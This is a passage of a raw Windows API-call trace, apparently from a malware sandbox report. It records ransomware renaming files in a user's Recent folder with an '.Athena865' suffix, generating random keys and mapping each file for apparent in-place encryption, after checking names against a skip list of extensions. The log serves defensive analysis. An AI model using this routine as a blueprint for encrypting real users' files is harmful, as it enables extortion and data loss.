lstrlenW (lpString=".dll") returned 4 [0052.906] lstrcmpiW (lpString1="SvkMB2Z.lnk", lpString2=".dll") returned 1 [0052.906] lstrlenW (lpString=".lnk") returned 4 [0052.906] lstrcmpiW (lpString1="SvkMB2Z.lnk", lpString2=".lnk") returned 1 [0052.906] lstrlenW (lpString=".ini") returned 4 [0052.906] lstrcmpiW (lpString1="SvkMB2Z.lnk", lpString2=".ini") returned 1 [0052.906] lstrlenW (lpString=".sys") returned 4 [0052.906] lstrcmpiW (lpString1="SvkMB2Z.lnk", lpString2=".sys") returned 1 [0052.906] lstrlenW (lpString="SvkMB2Z.lnk") returned 11 [0052.906] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\SvkMB2Z.lnk.Athena865") returned 75 [0052.906] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\SvkMB2Z.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\svkmb2z.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\SvkMB2Z.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\svkmb2z.lnk.athena865"), dwFlags=0x1) returned 1 [0052.907] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\SvkMB2Z.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\svkmb2z.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.907] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5035) returned 1 [0052.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.907] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.908] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.908] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.908] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16b0, lpName=0x0) returned 0x154 [0052.908] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16b0) returned 0x100000 [0052.909] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.909] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.909] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.911] lstrcpyW (in: lpString1=0x241e8b4, lpString2="S_RJwFpCjL8CC-.flv.lnk" | out: lpString1="S_RJwFpCjL8CC-.flv.lnk") returned="S_RJwFpCjL8CC-.flv.lnk" [0052.911] lstrlenW (lpString="S_RJwFpCjL8CC-.flv.lnk") returned 22 [0052.911] lstrlenW (lpString="Athena865") returned 9 [0052.911] lstrcmpiW (lpString1="-.flv.lnk", lpString2="Athena865") returned -1 [0052.911] lstrlenW (lpString=".dll") returned 4 [0052.911] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv.lnk", lpString2=".dll") returned 1 [0052.911] lstrlenW (lpString=".lnk") returned 4 [0052.911] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv.lnk", lpString2=".lnk") returned 1 [0052.911] lstrlenW (lpString=".ini") returned 4 [0052.911] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv.lnk", lpString2=".ini") returned 1 [0052.911] lstrlenW (lpString=".sys") returned 4 [0052.911] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv.lnk", lpString2=".sys") returned 1 [0052.911] lstrlenW (lpString="S_RJwFpCjL8CC-.flv.lnk") returned 22 [0052.911] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\S_RJwFpCjL8CC-.flv.lnk.Athena865") returned 86 [0052.911] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\S_RJwFpCjL8CC-.flv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\s_rjwfpcjl8cc-.flv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\S_RJwFpCjL8CC-.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\s_rjwfpcjl8cc-.flv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.912] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\S_RJwFpCjL8CC-.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\s_rjwfpcjl8cc-.flv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.912] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1030) returned 1 [0052.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.913] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.913] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.914] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.914] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x710, lpName=0x0) returned 0x154 [0052.914] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x710) returned 0x100000 [0052.914] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.915] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.915] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.916] lstrcpyW (in: lpString1=0x241e8b4, lpString2="tUA 7lQiLXUB.lnk" | out: lpString1="tUA 7lQiLXUB.lnk") returned="tUA 7lQiLXUB.lnk" [0052.916] lstrlenW (lpString="tUA 7lQiLXUB.lnk") returned 16 [0052.916] lstrlenW (lpString="Athena865") returned 9 [0052.916] lstrcmpiW (lpString1="iLXUB.lnk", lpString2="Athena865") returned 1 [0052.916] lstrlenW (lpString=".dll") returned 4 [0052.916] lstrcmpiW (lpString1="tUA 7lQiLXUB.lnk", lpString2=".dll") returned 1 [0052.916] lstrlenW (lpString=".lnk") returned 4 [0052.916] lstrcmpiW (lpString1="tUA 7lQiLXUB.lnk", lpString2=".lnk") returned 1 [0052.916] lstrlenW (lpString=".ini") returned 4 [0052.916] lstrcmpiW (lpString1="tUA 7lQiLXUB.lnk", lpString2=".ini") returned 1 [0052.916] lstrlenW (lpString=".sys") returned 4 [0052.917] lstrcmpiW (lpString1="tUA 7lQiLXUB.lnk", lpString2=".sys") returned 1 [0052.917] lstrlenW (lpString="tUA 7lQiLXUB.lnk") returned 16 [0052.917] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\tUA 7lQiLXUB.lnk.Athena865") returned 80 [0052.917] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\tUA 7lQiLXUB.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\tua 7lqilxub.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\tUA 7lQiLXUB.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\tua 7lqilxub.lnk.athena865"), dwFlags=0x1) returned 1 [0052.920] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\tUA 7lQiLXUB.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\tua 7lqilxub.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.921] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2609) returned 1 [0052.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.921] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.921] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.922] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.922] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd40, lpName=0x0) returned 0x154 [0052.922] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd40) returned 0x100000 [0052.922] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.923] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.923] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.926] lstrcpyW (in: lpString1=0x241e8b4, lpString2="u8GDhzgOr1.lnk" | out: lpString1="u8GDhzgOr1.lnk") returned="u8GDhzgOr1.lnk" [0052.926] lstrlenW (lpString="u8GDhzgOr1.lnk") returned 14 [0052.926] lstrlenW (lpString="Athena865") returned 9 [0052.926] lstrcmpiW (lpString1="zgOr1.lnk", lpString2="Athena865") returned 1 [0052.926] lstrlenW (lpString=".dll") returned 4 [0052.926] lstrcmpiW (lpString1="u8GDhzgOr1.lnk", lpString2=".dll") returned 1 [0052.926] lstrlenW (lpString=".lnk") returned 4 [0052.926] lstrcmpiW (lpString1="u8GDhzgOr1.lnk", lpString2=".lnk") returned 1 [0052.926] lstrlenW (lpString=".ini") returned 4 [0052.926] lstrcmpiW (lpString1="u8GDhzgOr1.lnk", lpString2=".ini") returned 1 [0052.926] lstrlenW (lpString=".sys") returned 4 [0052.926] lstrcmpiW (lpString1="u8GDhzgOr1.lnk", lpString2=".sys") returned 1 [0052.926] lstrlenW (lpString="u8GDhzgOr1.lnk") returned 14 [0052.926] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\u8GDhzgOr1.lnk.Athena865") returned 78 [0052.926] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\u8GDhzgOr1.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\u8gdhzgor1.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\u8GDhzgOr1.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\u8gdhzgor1.lnk.athena865"), dwFlags=0x1) returned 1 [0052.927] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\u8GDhzgOr1.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\u8gdhzgor1.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.927] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2422) returned 1 [0052.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.928] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.928] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.928] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.928] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc80, lpName=0x0) returned 0x154 [0052.928] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc80) returned 0x100000 [0052.929] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.929] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.929] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.931] lstrcpyW (in: lpString1=0x241e8b4, lpString2="UAIEO6U.lnk" | out: lpString1="UAIEO6U.lnk") returned="UAIEO6U.lnk" [0052.931] lstrlenW (lpString="UAIEO6U.lnk") returned 11 [0052.931] lstrlenW (lpString="Athena865") returned 9 [0052.931] lstrcmpiW (lpString1="IEO6U.lnk", lpString2="Athena865") returned 1 [0052.931] lstrlenW (lpString=".dll") returned 4 [0052.931] lstrcmpiW (lpString1="UAIEO6U.lnk", lpString2=".dll") returned 1 [0052.931] lstrlenW (lpString=".lnk") returned 4 [0052.931] lstrcmpiW (lpString1="UAIEO6U.lnk", lpString2=".lnk") returned 1 [0052.931] lstrlenW (lpString=".ini") returned 4 [0052.931] lstrcmpiW (lpString1="UAIEO6U.lnk", lpString2=".ini") returned 1 [0052.931] lstrlenW (lpString=".sys") returned 4 [0052.931] lstrcmpiW (lpString1="UAIEO6U.lnk", lpString2=".sys") returned 1 [0052.931] lstrlenW (lpString="UAIEO6U.lnk") returned 11 [0052.931] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\UAIEO6U.lnk.Athena865") returned 75 [0052.931] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\UAIEO6U.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\uaieo6u.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\UAIEO6U.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\uaieo6u.lnk.athena865"), dwFlags=0x1) returned 1 [0052.932] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\UAIEO6U.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\uaieo6u.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.932] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2550) returned 1 [0052.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.932] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.933] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.933] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.933] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.933] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x154 [0052.934] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0052.934] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.934] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.934] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.936] lstrcpyW (in: lpString1=0x241e8b4, lpString2="uuG-k9oPeWHUR1FR_eEI.lnk" | out: lpString1="uuG-k9oPeWHUR1FR_eEI.lnk") returned="uuG-k9oPeWHUR1FR_eEI.lnk" [0052.936] lstrlenW (lpString="uuG-k9oPeWHUR1FR_eEI.lnk") returned 24 [0052.936] lstrlenW (lpString="Athena865") returned 9 [0052.936] lstrcmpiW (lpString1="R_eEI.lnk", lpString2="Athena865") returned 1 [0052.936] lstrlenW (lpString=".dll") returned 4 [0052.936] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.lnk", lpString2=".dll") returned 1 [0052.936] lstrlenW (lpString=".lnk") returned 4 [0052.936] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.lnk", lpString2=".lnk") returned 1 [0052.936] lstrlenW (lpString=".ini") returned 4 [0052.936] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.lnk", lpString2=".ini") returned 1 [0052.936] lstrlenW (lpString=".sys") returned 4 [0052.936] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.lnk", lpString2=".sys") returned 1 [0052.936] lstrlenW (lpString="uuG-k9oPeWHUR1FR_eEI.lnk") returned 24 [0052.936] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\uuG-k9oPeWHUR1FR_eEI.lnk.Athena865") returned 88 [0052.936] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\uuG-k9oPeWHUR1FR_eEI.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\uug-k9opewhur1fr_eei.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\uuG-k9oPeWHUR1FR_eEI.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\uug-k9opewhur1fr_eei.lnk.athena865"), dwFlags=0x1) returned 1 [0052.937] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\uuG-k9oPeWHUR1FR_eEI.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\uug-k9opewhur1fr_eei.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.937] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2725) returned 1 [0052.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.938] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.938] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.938] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.939] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdb0, lpName=0x0) returned 0x154 [0052.939] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdb0) returned 0x100000 [0052.939] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.940] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.940] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.940] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.941] lstrcpyW (in: lpString1=0x241e8b4, lpString2="V-I6Tk8WtrI.lnk" | out: lpString1="V-I6Tk8WtrI.lnk") returned="V-I6Tk8WtrI.lnk" [0052.941] lstrlenW (lpString="V-I6Tk8WtrI.lnk") returned 15 [0052.941] lstrlenW (lpString="Athena865") returned 9 [0052.941] lstrcmpiW (lpString1="8WtrI.lnk", lpString2="Athena865") returned -1 [0052.941] lstrlenW (lpString=".dll") returned 4 [0052.941] lstrcmpiW (lpString1="V-I6Tk8WtrI.lnk", lpString2=".dll") returned 1 [0052.941] lstrlenW (lpString=".lnk") returned 4 [0052.941] lstrcmpiW (lpString1="V-I6Tk8WtrI.lnk", lpString2=".lnk") returned 1 [0052.941] lstrlenW (lpString=".ini") returned 4 [0052.942] lstrcmpiW (lpString1="V-I6Tk8WtrI.lnk", lpString2=".ini") returned 1 [0052.942] lstrlenW (lpString=".sys") returned 4 [0052.942] lstrcmpiW (lpString1="V-I6Tk8WtrI.lnk", lpString2=".sys") returned 1 [0052.942] lstrlenW (lpString="V-I6Tk8WtrI.lnk") returned 15 [0052.942] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\V-I6Tk8WtrI.lnk.Athena865") returned 79 [0052.942] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\V-I6Tk8WtrI.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\v-i6tk8wtri.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\V-I6Tk8WtrI.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\v-i6tk8wtri.lnk.athena865"), dwFlags=0x1) returned 1 [0052.943] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\V-I6Tk8WtrI.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\v-i6tk8wtri.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.943] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2594) returned 1 [0052.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.943] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.944] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.944] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.944] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd30, lpName=0x0) returned 0x154 [0052.944] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd30) returned 0x100000 [0052.944] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.945] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.945] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.946] lstrcpyW (in: lpString1=0x241e8b4, lpString2="veFVtkJ6vB2zgbhD4Roq.mkv.lnk" | out: lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.lnk") returned="veFVtkJ6vB2zgbhD4Roq.mkv.lnk" [0052.946] lstrlenW (lpString="veFVtkJ6vB2zgbhD4Roq.mkv.lnk") returned 28 [0052.946] lstrlenW (lpString="Athena865") returned 9 [0052.946] lstrcmpiW (lpString1="q.mkv.lnk", lpString2="Athena865") returned 1 [0052.946] lstrlenW (lpString=".dll") returned 4 [0052.946] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.lnk", lpString2=".dll") returned 1 [0052.946] lstrlenW (lpString=".lnk") returned 4 [0052.946] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.lnk", lpString2=".lnk") returned 1 [0052.946] lstrlenW (lpString=".ini") returned 4 [0052.946] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.lnk", lpString2=".ini") returned 1 [0052.946] lstrlenW (lpString=".sys") returned 4 [0052.946] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.lnk", lpString2=".sys") returned 1 [0052.946] 